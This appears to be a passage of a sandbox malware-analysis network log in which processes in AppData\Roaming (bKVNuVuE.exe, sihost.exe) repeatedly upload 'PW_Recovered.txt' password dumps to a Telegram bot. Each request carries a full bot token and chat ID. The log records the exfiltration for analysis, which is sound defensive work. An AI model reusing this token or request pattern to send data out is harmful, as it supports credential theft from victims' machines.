2024-08-13 18:25:57 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1368,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49215	149.154.167.220	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:57 UTC	343	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbe27325b2ebc Host: api.telegram.org Content-Length: 560
2024-08-13 18:25:57 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 65 32 37 33 32 35 62 32 65 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 35 36 20 50 4d Data Ascii: --------------------------8dcbe27325b2ebcContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:56 PM
2024-08-13 18:25:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:58 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:25:58 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1369,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49216	149.154.167.220	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:58 UTC	367	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbdc0151008be Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-08-13 18:25:58 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 64 63 30 31 35 31 30 30 38 62 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 34 34 20 50 4d Data Ascii: --------------------------8dcbdc0151008beContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:44 PM
2024-08-13 18:25:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:25:58 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:25:59 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1370,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49218	149.154.167.220	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:26:00 UTC	367	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbddc7e4bd5e0 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-08-13 18:26:00 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 64 64 63 37 65 34 62 64 35 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 34 34 20 50 4d Data Ascii: --------------------------8dcbddc7e4bd5e0Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:44 PM
2024-08-13 18:26:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:26:00 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:26:00 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1371,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49219	149.154.167.220	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:26:01 UTC	343	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbe40cf9a0238 Host: api.telegram.org Content-Length: 560
2024-08-13 18:26:01 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 65 34 30 63 66 39 61 30 32 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 35 36 20 50 4d Data Ascii: --------------------------8dcbe40cf9a0238Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:56 PM
2024-08-13 18:26:02 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:26:02 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:26:02 UTC	559	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1372,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49221	149.154.167.220	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:26:03 UTC	367	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbe5b5aaec62e Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-08-13 18:26:03 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 65 35 62 35 61 61 65 63 36 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 35 36 20 50 4d Data Ascii: --------------------------8dcbe5b5aaec62eContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:56 PM
2024-08-13 18:26:04 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:26:04 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:26:04 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1373,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49223	149.154.167.220	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:26:07 UTC	367	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbe7ce2b69c01 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-08-13 18:26:07 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 65 37 63 65 32 62 36 39 63 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 35 36 20 50 4d Data Ascii: --------------------------8dcbe7ce2b69c01Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:56 PM
2024-08-13 18:26:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:26:07 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:26:07 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1374,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49224	149.154.167.220	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:26:11 UTC	367	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcbe9bda6024fb Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-08-13 18:26:11 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 65 39 62 64 61 36 30 32 34 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 41 6c 62 75 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 38 36 38 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 38 2f 31 33 2f 32 30 32 34 20 2f 20 32 3a 32 34 3a 35 36 20 50 4d Data Ascii: --------------------------8dcbe9bda6024fbContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:888683Date and Time: 8/13/2024 / 2:24:56 PM
2024-08-13 18:26:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 13 Aug 2024 18:26:11 GMT Content-Type: application/json Content-Length: 558 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-13 18:26:11 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 Data Ascii: {"ok":true,"result":{"message_id":1375,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"privat

SMTP Packets

